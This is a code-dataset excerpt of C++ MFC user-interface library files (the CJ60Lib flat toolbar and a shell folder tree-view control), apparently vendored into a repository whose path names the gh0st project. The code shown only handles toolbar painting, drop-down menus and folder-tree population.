InvalidateOldPos(m_rcOldPos); // invalidate area of old position
// Now paint my non-client area at the new location.
// Without this, you will still have a partial display bug (try it!)
SendMessage(WM_NCPAINT);
}
}
}
//////////////////
// Invalidate toolbar rectangle. Because flat toolbars are transparent,
// this requires invalidating parent and all siblings that intersect the
// rectangle.
//
void CFlatToolBar::InvalidateOldPos(const CRect& rcInvalid)
{
// make parent paint the area beneath rectangle
CWnd* pParent = GetParent(); // parent (dock bar/frame) window
ASSERT_VALID(pParent); // check
CRect rc = rcInvalid; // copy rectangle
pParent->ScreenToClient(&rc); // convert to parent client coords
pParent->InvalidateRect(&rc); // invalidate
// now do same for each sibling too
for (CWnd* pSib = pParent->GetWindow(GW_CHILD);
pSib;
pSib=pSib->GetNextWindow(GW_HWNDNEXT)) {
CRect rc; // window rect of sibling
pSib->GetWindowRect(&rc); // ...
if (rc.IntersectRect(rc, rcInvalid)) { // if intersects invalid rect
pSib->ScreenToClient(&rc); // convert to sibling coords
pSib->InvalidateRect(&rc); // invalidate
pSib->SendMessage(WM_NCPAINT); // nonclient area too!
}
}
}
////////////////
// Override to avoid MFC in case I'm inside a coolbar
//
BOOL CFlatToolBar::OnEraseBkgnd(CDC* pDC)
{
return m_bInCoolBar ? Default() : CFlatToolBarBase::OnEraseBkgnd(pDC);
}
//////////////////
// If toolbar is inside a coolbar, need to make the parent frame
// my owner so it will get notifications.
//
BOOL CFlatToolBar::OnNcCreate(LPCREATESTRUCT lpcs)
{
CWnd* pParent = GetParent();
ASSERT(pParent);
TCHAR classname[64];
GetClassName(pParent->m_hWnd, classname, countof(classname));
if (_tcscmp(classname, REBARCLASSNAME)==0) {
CFrameWnd* pFrame = GetParentFrame();
ASSERT_VALID(pFrame);
SetOwner(pFrame);
m_bInCoolBar = TRUE;
}
return CFlatToolBarBase::OnNcCreate(lpcs);
}
//////////////////
// Avoid MFC if I'm inside a coolbar
//
void CFlatToolBar::OnPaint()
{
if (m_bInCoolBar)
Default(); // bypass CToolBar/CControlBar
else
CFlatToolBarBase::OnPaint();
}
////////////////////////////////////////////////////////////////
// Stuff for handling drop-down buttons in toobars
//
//////////////////
// Add dropdown buttons.
// The manager takes care of setting appropriate styles, etc.
//
// Args:
// - array of LONGs: MAKELONG(commandID, menuID)
// - number of buttons
//
BOOL CFlatToolBar::AddDropDownButton(UINT nIDButton, UINT nIDMenu, BOOL bArrow)
{
ASSERT_VALID(this);
DROPDOWNBUTTON* pb = FindDropDownButton(nIDButton);
if (!pb) {
pb = new DROPDOWNBUTTON;
ASSERT(pb);
pb->next = m_pDropDownButtons;
m_pDropDownButtons = pb;
}
pb->idButton = nIDButton;
pb->idMenu = nIDMenu;
int iButton = CommandToIndex(nIDButton);
DWORD dwStyle = GetButtonStyle(iButton);
dwStyle |= TBSTYLE_DROPDOWN;
SetButtonStyle(iButton, dwStyle);
if (bArrow)
SetExtendedStyle(TBSTYLE_EX_DRAWDDARROWS);
return TRUE;
}
//////////////////
// Find buttons structure for given ID
//
DROPDOWNBUTTON* CFlatToolBar::FindDropDownButton(UINT nID)
{
for (DROPDOWNBUTTON* pb = m_pDropDownButtons; pb; pb = pb->next) {
if (pb->idButton == nID)
return pb;
}
return NULL;
}
//////////////////
// Handle TBN_DROPDOWN
// Default is to display the specified menu at the right place.
// You can override to generate dynamic menus
//
// Args:
// - NMTOOLBAR struct from TBN_DROPDOWN
// - command id of button
// - point to display menu at
//
void CFlatToolBar::OnTbnDropDown(NMHDR* pNMHDR, LRESULT* pRes)
{
const NMTOOLBAR& nmtb = *(NMTOOLBAR*)pNMHDR;
// get location of button
CRect rc;
GetRect(nmtb.iItem, rc);
ClientToScreen(&rc);
// call virtual function to display dropdown menu
OnDropDownButton(nmtb, nmtb.iItem, rc);
}
/////////////////
// Virtual fn you can override to hand drop-down button
// events with more friendly args
//
void CFlatToolBar::OnDropDownButton(const NMTOOLBAR& nmtb, UINT nID, CRect rc)
{
DROPDOWNBUTTON* pb = FindDropDownButton(nmtb.iItem);
if (pb && pb->idMenu) {
// load and display popup menu
CMenu menu;
VERIFY(menu.LoadMenu(pb->idMenu));
CMenu* pPopup = menu.GetSubMenu(0);
ASSERT(pPopup);
pPopup->TrackPopupMenu(TPM_LEFTALIGN|TPM_LEFTBUTTON|TPM_VERTICAL,
rc.left, rc.bottom, GetOwner(), &rc);
}
}
| 07321-rat | trunk/gh0st/CJ60Lib/CJ60Lib/FlatBar.cpp | C++ | asf20 | 9,167 |
// stdafx.cpp : source file that includes just the standard includes
// CJ60Lib.pch will be the pre-compiled header
// stdafx.obj will contain the pre-compiled type information
#include "stdafx.h"
| 07321-rat | trunk/gh0st/CJ60Lib/CJ60Lib/stdafx.cpp | C++ | asf20 | 209 |
// ShellTree.cpp : implementation file
//
#include "stdafx.h"
#include "ShellTree.h"
#include "SHFileInfo.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
/////////////////////////////////////////////////////////////////////////////
// CShellTree
//
// This source is part of CShellTree - Selom Ofori
//
// Version: 1.02 (any previously unversioned copies are older/inferior
//
// This code is free for all to use. Mutatilate it as much as you want
// See MFCENUM sample from microsoft
// ==========================================================================
// HISTORY:
// ==========================================================================
// 1.01 24 Feb 1999 - Overloaded PopulateTree(LPCTSTR lpPath) in the
// class CShellTree to fill the tree based upon
// path. Takehiko Mizoguti [mizoguti@m2.sys.to.casio.co.jp]
// ==========================================================================
/////////////////////////////////////////////////////////////////////////////
CShellTree::CShellTree()
{
}
CShellTree::~CShellTree()
{
}
BEGIN_MESSAGE_MAP(CShellTree, CTreeCtrl)
//{{AFX_MSG_MAP(CShellTree)
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
/****************************************************************************
*
* FUNCTION: PopulateTree()
*
* PURPOSE: Processes the File.Fill/RefreshTree command
*
****************************************************************************/
void CShellTree::PopulateTree()
{
LPSHELLFOLDER lpsf=NULL;
LPITEMIDLIST lpi=NULL;
HRESULT hr;
TV_SORTCB tvscb;
// Get a pointer to the desktop folder.
hr=SHGetDesktopFolder(&lpsf);
if (SUCCEEDED(hr))
{
// Initialize the tree view to be empty.
DeleteAllItems();
// Fill in the tree view from the root.
FillTreeView(lpsf, NULL, TVI_ROOT);
//TunnelFillTree(lpsf, NULL, TVI_ROOT);
// Release the folder pointer.
lpsf->Release();
}
tvscb.hParent = TVI_ROOT;
tvscb.lParam = 0;
tvscb.lpfnCompare = TreeViewCompareProc;
// Sort the items in the tree view
SortChildrenCB(&tvscb/*, FALSE*/);
HTREEITEM hItem;
hItem = GetRootItem();
Expand(hItem,TVE_EXPAND);
Select(GetRootItem(),TVGN_CARET);
}
/****************************************************************************
*
* FUNCTION: PopulateTree()
*
* PURPOSE: Processes the File.Fill/RefreshTree command
* This overload has the ability to open from a
* special folderlocation like SHBrowseForFolder()
*
* WARNING: TunnelTree() will not work if you use a special
* folderlocation
*
****************************************************************************/
void CShellTree::PopulateTree(int nFolder)
{
LPSHELLFOLDER lpsf=NULL,lpsf2=NULL;
LPITEMIDLIST lpi=NULL;
HRESULT hr;
TV_SORTCB tvscb;
// Get a pointer to the desktop folder.
hr=SHGetDesktopFolder(&lpsf);
if (SUCCEEDED(hr))
{
// Initialize the tree view to be empty.
DeleteAllItems();
if (!SUCCEEDED(SHGetSpecialFolderLocation(
m_hWnd, nFolder, &lpi)))
{
lpi=NULL;
FillTreeView(lpsf,NULL,TVI_ROOT);
}
else
{
hr=lpsf->BindToObject(lpi,
0, IID_IShellFolder,(LPVOID *)&lpsf2);
if(SUCCEEDED(hr))
{
// Fill in the tree view from the root.
FillTreeView(lpsf2, lpi, TVI_ROOT);
lpsf2->Release();
}
else
FillTreeView(lpsf,NULL,TVI_ROOT);
}
// Release the folder pointer.
lpsf->Release();
}
tvscb.hParent = TVI_ROOT;
tvscb.lParam = 0;
tvscb.lpfnCompare = TreeViewCompareProc;
// Sort the items in the tree view
SortChildrenCB(&tvscb/*, FALSE*/);
HTREEITEM hItem;
hItem = GetRootItem();
Expand(hItem,TVE_EXPAND);
Select(GetRootItem(),TVGN_CARET);
}
/****************************************************************************
*
* FUNCTION: FillTreeView( LPSHELLFOLDER lpsf,
* LPITEMIDLIST lpifq,
* HTREEITEM hParent)
*
* PURPOSE: Fills a branch of the TreeView control. Given the
* shell folder, enumerate the subitems of this folder,
* and add the appropriate items to the tree.
*
* PARAMETERS:
* lpsf - Pointer to shell folder that we want to enumerate items
* lpifq - Fully qualified item id list to the item that we are enumerating
* items for. In other words, this is the PIDL to the item
* identified by the lpsf parameter.
* hParent - Parent node
*
* COMMENTS:
* This function enumerates the items in the folder identifed by lpsf.
* Note that since we are filling the left hand pane, we will only add
* items that are folders and/or have sub-folders. We *could* put all
* items in here if we wanted, but that's not the intent.
*
****************************************************************************/
void CShellTree::FillTreeView(LPSHELLFOLDER lpsf, LPITEMIDLIST lpifq, HTREEITEM hParent)
{
TV_ITEM tvi; // TreeView Item.
TV_INSERTSTRUCT tvins; // TreeView Insert Struct.
HTREEITEM hPrev = NULL; // Previous Item Added.
LPSHELLFOLDER lpsf2=NULL;
LPENUMIDLIST lpe=NULL;
LPITEMIDLIST lpi=NULL, lpiTemp=NULL, lpifqThisItem=NULL;
LPTVITEMDATA lptvid=NULL;
LPMALLOC lpMalloc=NULL;
ULONG ulFetched;
UINT uCount=0;
HRESULT hr;
char szBuff[256];
HWND hwnd=::GetParent(m_hWnd);
// Allocate a shell memory object.
hr=::SHGetMalloc(&lpMalloc);
if (FAILED(hr))
return;
if (SUCCEEDED(hr))
{
// Get the IEnumIDList object for the given folder.
hr=lpsf->EnumObjects(hwnd, SHCONTF_FOLDERS | SHCONTF_NONFOLDERS, &lpe);
if (SUCCEEDED(hr))
{
// Enumerate throught the list of folder and non-folder objects.
while (S_OK==lpe->Next(1, &lpi, &ulFetched))
{
//Create a fully qualified path to the current item
//The SH* shell api's take a fully qualified path pidl,
//(see GetIcon above where I call SHGetFileInfo) whereas the
//interface methods take a relative path pidl.
ULONG ulAttrs = SFGAO_HASSUBFOLDER | SFGAO_FOLDER;
// Determine what type of object we have.
lpsf->GetAttributesOf(1, (const struct _ITEMIDLIST **)&lpi, &ulAttrs);
if (ulAttrs & (SFGAO_HASSUBFOLDER | SFGAO_FOLDER))
{
//We need this next if statement so that we don't add things like
//the MSN to our tree. MSN is not a folder, but according to the
//shell it has subfolders.
if (ulAttrs & SFGAO_FOLDER)
{
tvi.mask= TVIF_TEXT | TVIF_IMAGE | TVIF_SELECTEDIMAGE | TVIF_PARAM;
if (ulAttrs & SFGAO_HASSUBFOLDER)
{
//This item has sub-folders, so let's put the + in the TreeView.
//The first time the user clicks on the item, we'll populate the
//sub-folders.
tvi.cChildren=1;
tvi.mask |= TVIF_CHILDREN;
}
//OK, let's get some memory for our ITEMDATA struct
lptvid = (LPTVITEMDATA)lpMalloc->Alloc(sizeof(TVITEMDATA));
if (!lptvid)
goto Done; // Error - could not allocate memory.
//Now get the friendly name that we'll put in the treeview.
if (!GetName(lpsf, lpi, SHGDN_NORMAL, szBuff))
goto Done; // Error - could not get friendly name.
tvi.pszText = szBuff;
tvi.cchTextMax = MAX_PATH;
lpifqThisItem=ConcatPidls(lpifq, lpi);
//Now, make a copy of the ITEMIDLIST
lptvid->lpi=CopyITEMID(lpMalloc, lpi);
GetNormalAndSelectedIcons(lpifqThisItem, &tvi);
lptvid->lpsfParent=lpsf; //Store the parent folders SF
lpsf->AddRef();
lptvid->lpifq=ConcatPidls(lpifq, lpi);
tvi.lParam = (LPARAM)lptvid;
// Populate the TreeVeiw Insert Struct
// The item is the one filled above.
// Insert it after the last item inserted at this level.
// And indicate this is a root entry.
tvins.item = tvi;
tvins.hInsertAfter = hPrev;
tvins.hParent = hParent;
// Add the item to the tree
hPrev = InsertItem(&tvins);
}
// Free this items task allocator.
lpMalloc->Free(lpifqThisItem);
lpifqThisItem=0;
}
lpMalloc->Free(lpi); //Free the pidl that the shell gave us.
lpi=0;
}
}
}
else
return;
Done:
if (lpe)
lpe->Release();
//The following 2 if statements will only be TRUE if we got here on an
//error condition from the "goto" statement. Otherwise, we free this memory
//at the end of the while loop above.
if (lpi && lpMalloc)
lpMalloc->Free(lpi);
if (lpifqThisItem && lpMalloc)
lpMalloc->Free(lpifqThisItem);
if (lpMalloc)
lpMalloc->Release();
}
/****************************************************************************
*
* FUNCTION: GetNormalAndSelectedIcons(LPITEMIDLIST lpifq, LPTV_ITEM lptvitem)
*
* PURPOSE: Gets the index for the normal and selected icons for the current item.
*
* PARAMETERS:
* lpifq - Fully qualified item id list for current item.
* lptvitem - Pointer to treeview item we are about to add to the tree.
*
****************************************************************************/
void CShellTree::GetNormalAndSelectedIcons(LPITEMIDLIST lpifq,
LPTV_ITEM lptvitem)
{
//Note that we don't check the return value here because if GetIcon()
//fails, then we're in big trouble...
lptvitem->iImage = GetItemIcon(lpifq, SHGFI_PIDL |
SHGFI_SYSICONINDEX |
SHGFI_SMALLICON);
lptvitem->iSelectedImage = GetItemIcon(lpifq, SHGFI_PIDL |
SHGFI_SYSICONINDEX |
SHGFI_SMALLICON |
SHGFI_OPENICON);
return;
}
/****************************************************************************
*
* FUNCTION: TreeViewCompareProc(LPARAM, LPARAM, LPARAM)
*
* PURPOSE: Callback routine for sorting the tree
*
****************************************************************************/
int CALLBACK CShellTree::TreeViewCompareProc(LPARAM lparam1,
LPARAM lparam2, LPARAM lparamSort)
{
LPTVITEMDATA lptvid1=(LPTVITEMDATA)lparam1;
LPTVITEMDATA lptvid2=(LPTVITEMDATA)lparam2;
HRESULT hr;
hr = lptvid1->lpsfParent->CompareIDs(0,lptvid1->lpi,lptvid2->lpi);
if (FAILED(hr))
return 0;
return (short)SCODE_CODE(GetScode(hr));
}
/////////////////////////////////////////////////////////////////////////////
// CShellTree message handlers
/****************************************************************************
*
* FUNCTION: OnFolderExpanding(NMHDR* pNMHDR, LRESULT* pResult)
*
* PURPOSE: Reponds to an TVN_ITEMEXPANDING message in order to fill up
* subdirectories. Pass the parameters from OnItemExpanding() to
* this function. You need to do that or your folders won't
* expand.
*
* OTHER: It can also be used to update a corresponding listview. Seem MFCENUM
*
* MESSAGEMAP: TVN_ITEMEXPANDING
*
****************************************************************************/
void CShellTree::OnFolderExpanding(NMHDR* pNMHDR, LRESULT* pResult)
{
LPTVITEMDATA lptvid; //Long pointer to TreeView item data
HRESULT hr;
LPSHELLFOLDER lpsf2=NULL;
static char szBuff[MAX_PATH];
TV_SORTCB tvscb;
NM_TREEVIEW* pnmtv = (NM_TREEVIEW*)pNMHDR;
// TODO: Add your control notification handler code here
if ((pnmtv->itemNew.state & TVIS_EXPANDEDONCE))
return;
lptvid=(LPTVITEMDATA)pnmtv->itemNew.lParam;
if (lptvid)
{
hr=lptvid->lpsfParent->BindToObject(lptvid->lpi,
0, IID_IShellFolder,(LPVOID *)&lpsf2);
if (SUCCEEDED(hr))
{
FillTreeView(lpsf2,
lptvid->lpifq,
pnmtv->itemNew.hItem);
}
tvscb.hParent = pnmtv->itemNew.hItem;
tvscb.lParam = 0;
tvscb.lpfnCompare = TreeViewCompareProc;
SortChildrenCB(&tvscb /*, FALSE*/);
}
*pResult = 0;
}
/****************************************************************************
*
* FUNCTION: GetContextMenu(NMHDR* pNMHDR, LRESULT* pResult)
*
* PURPOSE: Diplays a popup menu for the folder selected. Pass the
* parameters from Rclick() to this function.
*
* MESSAGEMAP: NM_RCLICK;
*
****************************************************************************/
void CShellTree::GetContextMenu(NMHDR* pNMHDR, LRESULT* pResult)
{
// TODO: Add your control notification handler code here
POINT pt;
LPTVITEMDATA lptvid; //Long pointer to TreeView item data
LPSHELLFOLDER lpsf2=NULL;
static char szBuff[MAX_PATH];
TV_HITTESTINFO tvhti;
TV_ITEM tvi;
// TODO: Add your control notification handler code here
::GetCursorPos((LPPOINT)&pt);
ScreenToClient(&pt);
tvhti.pt=pt;
HitTest(&tvhti);
SelectItem(tvhti.hItem);
if (tvhti.flags & (TVHT_ONITEMLABEL|TVHT_ONITEMICON))
{
ClientToScreen(&pt);
tvi.mask=TVIF_PARAM;
tvi.hItem=tvhti.hItem;
if (!GetItem(&tvi)){
return;
}
lptvid=(LPTVITEMDATA)tvi.lParam;
DoTheMenuThing(::GetParent(m_hWnd),
lptvid->lpsfParent, lptvid->lpi, &pt);
}
*pResult = 0;
}
/****************************************************************************
*
* FUNCTION: OnFolderSelected(NMHDR* pNMHDR, LRESULT* pResult, CString &szFolderPath)
*
* PURPOSE: Call this function if for example you want to put the path of the folder
* selected inside a combobox or an edit window. You would pass the
* parameters from OnSelChanged() to this function along with a CString object
* that will hold the folder path. If the path is not
* in the filesystem(eg MyComputer) it returns false.
*
* MESSAGEMAP: TVN_SELCHANGED
*
****************************************************************************/
BOOL CShellTree::OnFolderSelected(NMHDR* pNMHDR, LRESULT* pResult, CString &szFolderPath)
{
// TODO: Add your control notification handler code here
LPTVITEMDATA lptvid; //Long pointer to TreeView item data
LPSHELLFOLDER lpsf2=NULL;
static char szBuff[MAX_PATH];
HRESULT hr;
BOOL bRet=false;
TV_SORTCB tvscb;
HTREEITEM hItem=NULL;
if((hItem = GetSelectedItem()))
{
lptvid=(LPTVITEMDATA)GetItemData(hItem);
if (lptvid && lptvid->lpsfParent && lptvid->lpi)
{
hr=lptvid->lpsfParent->BindToObject(lptvid->lpi,
0,IID_IShellFolder,(LPVOID *)&lpsf2);
if (SUCCEEDED(hr))
{
ULONG ulAttrs = SFGAO_FILESYSTEM;
// Determine what type of object we have.
lptvid->lpsfParent->GetAttributesOf(1, (const struct _ITEMIDLIST **)&lptvid->lpi, &ulAttrs);
if (ulAttrs & (SFGAO_FILESYSTEM))
{
if(SHGetPathFromIDList(lptvid->lpifq,szBuff)){
szFolderPath = szBuff;
bRet = true;
}
}
//non standard from here(NEW CODE)
NM_TREEVIEW* pnmtv = (NM_TREEVIEW*)pNMHDR;
if ((pnmtv->itemNew.cChildren == 1) && !(pnmtv->itemNew.state & TVIS_EXPANDEDONCE)){
FillTreeView(lpsf2,lptvid->lpifq,pnmtv->itemNew.hItem);
tvscb.hParent = pnmtv->itemNew.hItem;
tvscb.lParam = 0;
tvscb.lpfnCompare = TreeViewCompareProc;
SortChildrenCB(&tvscb);
pnmtv->itemNew.state |= TVIS_EXPANDEDONCE;
pnmtv->itemNew.stateMask |= TVIS_EXPANDEDONCE;
pnmtv->itemNew.mask |= TVIF_STATE;
SetItem(&pnmtv->itemNew);
}
}
}
if(lpsf2)
lpsf2->Release();
}
*pResult = 0;
return bRet;
}
/****************************************************************************
*
* FUNCTION: OnDeleteShellItem(NMHDR* pNMHDR, LRESULT* pResult)
*
* PURPOSE: Releases the memory allocated by the shell folders
*
* MESSAGEMAP: TVN_DELETEITEM
*
* MISC: failure to call this function will result in a memory leak
*
****************************************************************************/
void CShellTree::OnDeleteShellItem(NMHDR* pNMHDR, LRESULT* pResult)
{
LPTVITEMDATA lptvid=NULL;
HRESULT hr;
LPMALLOC lpMalloc;
NM_TREEVIEW* pNMTreeView = (NM_TREEVIEW*)pNMHDR;
//Let's free the memory for the TreeView item data...
hr=SHGetMalloc(&lpMalloc);
if (FAILED(hr))
return;
lptvid=(LPTVITEMDATA)pNMTreeView->itemOld.lParam;
lptvid->lpsfParent->Release();
lpMalloc->Free(lptvid->lpi);
lpMalloc->Free(lptvid->lpifq);
lpMalloc->Free(lptvid);
lpMalloc->Release();
}
/****************************************************************************
*
* FUNCTION: EnableImages()
*
* PURPOSE: Obtains a handle to the system image list and attaches it
* to the tree control. DO NOT DELETE the imagelist
*
* MESSAGEMAP: NONE
*
****************************************************************************/
void CShellTree::EnableImages()
{
// Get the handle to the system image list, for our icons
HIMAGELIST hImageList;
SHFILEINFO sfi;
hImageList = (HIMAGELIST)SHGetFileInfo((LPCSTR)_T("C:\\"),
0,
&sfi,
sizeof(SHFILEINFO),
SHGFI_SYSICONINDEX | SHGFI_SMALLICON);
// Attach ImageList to TreeView
if (hImageList)
::SendMessage(m_hWnd, TVM_SETIMAGELIST, (WPARAM) TVSIL_NORMAL,
(LPARAM)hImageList);
}
/****************************************************************************
*
* FUNCTION: GetSelectedFolderPath(CString &szFolderPath)
*
* PURPOSE: Retrieves the path of the currently selected string.
* Pass a CString object that will hold the folder path.
* If the path is not in the filesystem(eg MyComputer)
* or none is selected it returns false.
*
* MESSAGEMAP: NONE
*
****************************************************************************/
BOOL CShellTree::GetSelectedFolderPath(CString &szFolderPath)
{
LPTVITEMDATA lptvid; //Long pointer to TreeView item data
LPSHELLFOLDER lpsf2=NULL;
static char szBuff[MAX_PATH];
HTREEITEM hItem=NULL;
HRESULT hr;
BOOL bRet=false;
if((hItem = GetSelectedItem()))
{
lptvid=(LPTVITEMDATA)GetItemData(hItem);
if (lptvid && lptvid->lpsfParent && lptvid->lpi)
{
hr=lptvid->lpsfParent->BindToObject(lptvid->lpi,
0,IID_IShellFolder,(LPVOID *)&lpsf2);
if (SUCCEEDED(hr))
{
ULONG ulAttrs = SFGAO_FILESYSTEM;
// Determine what type of object we have.
lptvid->lpsfParent->GetAttributesOf(1, (const struct _ITEMIDLIST **)&lptvid->lpi, &ulAttrs);
if (ulAttrs & (SFGAO_FILESYSTEM))
{
if(SHGetPathFromIDList(lptvid->lpifq,szBuff)){
szFolderPath = szBuff;
bRet = true;
}
}
}
}
if(lpsf2)
lpsf2->Release();
}
return bRet;
}
/****************************************************************************
*
* FUNCTION: GetParentShellFolder(HTREEITEM folderNode)
*
* PURPOSE: Retrieves the pointer to the ISHELLFOLDER interface
* of the tree node passed as the paramter.
*
* MESSAGEMAP: NONE
*
****************************************************************************/
LPSHELLFOLDER CShellTree::GetParentShellFolder(HTREEITEM folderNode)
{
LPTVITEMDATA lptvid; //Long pointer to TreeView item data
lptvid=(LPTVITEMDATA)GetItemData(folderNode);
if(lptvid)
return lptvid->lpsfParent;
else
return NULL;
}
/****************************************************************************
*
* FUNCTION: GetRelativeIDLIST(HTREEITEM folderNode)
*
* PURPOSE: Retrieves the Pointer to an ITEMIDLIST structure that
* identifies the subfolder relative to its parent folder.
* see GetParentShellFolder();
*
* MESSAGEMAP: NONE
*
****************************************************************************/
LPITEMIDLIST CShellTree::GetRelativeIDLIST(HTREEITEM folderNode)
{
LPTVITEMDATA lptvid; //Long pointer to TreeView item data
lptvid=(LPTVITEMDATA)GetItemData(folderNode);
if(lptvid)
return lptvid->lpifq;
else
return NULL;
}
/****************************************************************************
*
* FUNCTION: GetFullyQualifiedIDLIST(HTREEITEM folderNode)
*
* PURPOSE: Retrieves the Retrieves the Pointer to an ITEMIDLIST
* structure that identifies the subfolder relative to the
* desktop. This is a fully qualified Item Identifier
*
* MESSAGEMAP: NONE
*
****************************************************************************/
LPITEMIDLIST CShellTree::GetFullyQualifiedID(HTREEITEM folderNode)
{
LPTVITEMDATA lptvid; //Long pointer to TreeView item data
lptvid=(LPTVITEMDATA)GetItemData(folderNode);
if(lptvid)
return lptvid->lpifq;
else
return NULL;
}
/****************************************************************************
*
* FUNCTION: SearchTree( HTREEITEM treeNode,
* CString szSearchName )
*
* PURPOSE: Too crude to explain, just use it
*
* WARNING: Only works if you use the default PopulateTree()
* Not guaranteed to work on any future or existing
* version of windows. Use with caution. Pretty much
* ok if you're using on local drives
*
****************************************************************************/
bool CShellTree::SearchTree(HTREEITEM treeNode,
CString szSearchName,
FindAttribs attr)
{
LPTVITEMDATA lptvid; //Long pointer to TreeView item data
LPSHELLFOLDER lpsf2=NULL;
char drive[_MAX_DRIVE];
char dir[_MAX_DIR];
char fname[_MAX_FNAME];
char ext[_MAX_EXT];
bool bRet=false;
HRESULT hr;
CString szCompare;
szSearchName.MakeUpper();
while(treeNode && bRet==false)
{
lptvid=(LPTVITEMDATA)GetItemData(treeNode);
if (lptvid && lptvid->lpsfParent && lptvid->lpi)
{
hr=lptvid->lpsfParent->BindToObject(lptvid->lpi,
0,IID_IShellFolder,(LPVOID *)&lpsf2);
if (SUCCEEDED(hr))
{
ULONG ulAttrs = SFGAO_FILESYSTEM;
lptvid->lpsfParent->GetAttributesOf(1, (const struct _ITEMIDLIST **)&lptvid->lpi, &ulAttrs);
if (ulAttrs & (SFGAO_FILESYSTEM))
{
if(SHGetPathFromIDList(lptvid->lpifq,szCompare.GetBuffer(MAX_PATH)))
{
switch(attr)
{
case type_drive:
_splitpath(szCompare,drive,dir,fname,ext);
szCompare=drive;
break;
case type_folder:
szCompare = GetItemText(treeNode);
break;
}
szCompare.MakeUpper();
if(szCompare == szSearchName)
{
EnsureVisible(treeNode);
SelectItem(treeNode);
bRet=true;
}
}
}
lpsf2->Release();
}
}
treeNode = GetNextSiblingItem(treeNode);
}
return bRet;
}
/****************************************************************************
*
* FUNCTION: TunnelTree(CString szFindPath)
*
* PURPOSE: Too crude to explain, just use it
*
* WARNING: Only works if you use the default PopulateTree()
* Not guaranteed to work on any future or existing
* version of windows. Use with caution. Pretty much
* ok if you're using on local drives
*
****************************************************************************/
void CShellTree::TunnelTree(CString szFindPath)
{
HTREEITEM subNode = GetRootItem();
CString szPathHop;
char drive[_MAX_DRIVE];
char dir[_MAX_DIR];
char fname[_MAX_FNAME];
char ext[_MAX_EXT];
char delimiter[]=_T("\\");
CSHFileInfo checkPath(szFindPath);
if(!checkPath.Exist())
{
MessageBox(szFindPath,_T("Folder not found"),MB_ICONERROR);
return;
}
if(szFindPath.ReverseFind(_T('\\')) != szFindPath.GetLength()-1)
{
szFindPath += _T("\\");
}
_splitpath(szFindPath,drive,dir,fname,ext);
//search the drive first
szPathHop=drive;
subNode=GetChildItem(subNode);
if(subNode)
{
if(SearchTree(subNode,szPathHop, CShellTree::type_drive))
{
//break down subfolders and search
char *p=strtok(dir,delimiter);
while(p)
{
subNode = GetSelectedItem();
subNode = GetChildItem(subNode);
if(SearchTree(subNode,p,CShellTree::type_folder))
p=strtok(NULL,delimiter);
else
p=NULL;
}
}
}
}
/****************************************************************************
*
* FUNCTION: PopulateTree(LPCTSTR lpPath)
*
* PURPOSE: Populates tree based upon path.
*
* AUTHOR: Takehiko Mizoguti [mizoguti@m2.sys.to.casio.co.jp]
*
****************************************************************************/
void CShellTree::PopulateTree(LPCTSTR lpPath)
{
LPSHELLFOLDER lpsf=NULL,lpsf2=NULL;
LPITEMIDLIST lpi=NULL;
HRESULT hr;
TV_SORTCB tvscb;
LPTSTR lpFolder = (LPTSTR)lpPath;
LPTSTR lpNextFolder;
TCHAR strPath[_MAX_PATH];
LPMALLOC pMalloc;
if (::SHGetMalloc(&pMalloc) == NOERROR)
{
// Get a pointer to the desktop folder.
hr=SHGetDesktopFolder(&lpsf);
if (SUCCEEDED(hr))
{
USES_CONVERSION;
// Initialize the tree view to be empty.
DeleteAllItems();
do{
// Get the Next Component
lpNextFolder = PathFindNextComponent( lpFolder );
if( lpNextFolder && *lpNextFolder ){
memcpy( strPath, lpFolder, ( lpNextFolder - lpFolder ) );
strPath[lpNextFolder - lpFolder] = _T('\0');
}
else{
_tcscpy( strPath, lpFolder );
lpNextFolder = NULL;
}
// Get ShellFolder Pidl
ULONG eaten;
hr = lpsf->ParseDisplayName( NULL, NULL, T2OLE(strPath), &eaten, &lpi, NULL );
if( FAILED( hr ) ){
break;
}
hr=lpsf->BindToObject(lpi, 0, IID_IShellFolder,(LPVOID *)&lpsf2);
if( FAILED( hr ) ){
break;
}
pMalloc->Free( lpi );
// Release the Parent Folder pointer.
lpsf->Release();
// Chenge Folder Info
lpsf = lpsf2;
lpFolder = lpNextFolder;
}
while( lpNextFolder );
FillTreeView(lpsf,NULL,TVI_ROOT);
}
}
tvscb.hParent = TVI_ROOT;
tvscb.lParam = 0;
tvscb.lpfnCompare = TreeViewCompareProc;
// Sort the items in the tree view
SortChildrenCB(&tvscb/*, FALSE*/);
HTREEITEM hItem;
hItem = GetRootItem();
Expand(hItem,TVE_EXPAND);
Select(GetRootItem(),TVGN_CARET);
} | 07321-rat | trunk/gh0st/CJ60Lib/CJ60Lib/CJ60Lib/ShellTree.cpp | C++ | asf20 | 28,003 |
////////////////////////////////////////////////////////////////
// Copyright 1998 Paul DiLascia
// If this code works, it was written by Paul DiLascia.
// If not, I don't know who wrote it.
//
// CFlatToolBar implements dockable flat-style toolbars with "grippers"
//
#include "StdAfx.h"
#include "FlatBar.h"
#include "ModulVer.h"
// if you want to see extra TRACE diagnostics, set below to TRUE
BOOL CFlatToolBar::bTRACE = FALSE;
#ifdef _DEBUG
#define FBTRACEFN \
CTraceFn __fooble; \
if (bTRACE) \
TRACE
#define FBTRACE \
if (bTRACE) \
TRACE
#else
#define FBTRACEFN TRACE
#define FBTRACE TRACE
#endif
/////////////////
// One of these for each drop-down button
//
struct DROPDOWNBUTTON {
DROPDOWNBUTTON* next;
UINT idButton; // command ID of button
UINT idMenu; // popup menu to display
};
// these define size of grippers
const GRIP_WIDTH = 3;
const GRIP_MARGIN = 5;
// flags stored in item data
#define ITEMF_INITIALIZED 0x01 // item data initialized
#define ITEMF_CHECKED 0x02 // item is checked
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
////////////////////////////////////////////////////////////////
// CFlatToolBar--does flat tool bar in MFC.
//
IMPLEMENT_DYNAMIC(CFlatToolBar, CFlatToolBarBase)
BEGIN_MESSAGE_MAP(CFlatToolBar, CFlatToolBarBase)
ON_NOTIFY_REFLECT(TBN_DROPDOWN, OnTbnDropDown)
ON_WM_WINDOWPOSCHANGING()
ON_WM_WINDOWPOSCHANGED()
ON_WM_NCCALCSIZE()
ON_WM_ERASEBKGND()
ON_WM_NCCREATE()
ON_WM_PAINT()
ON_WM_CREATE()
END_MESSAGE_MAP()
CFlatToolBar::CFlatToolBar()
{
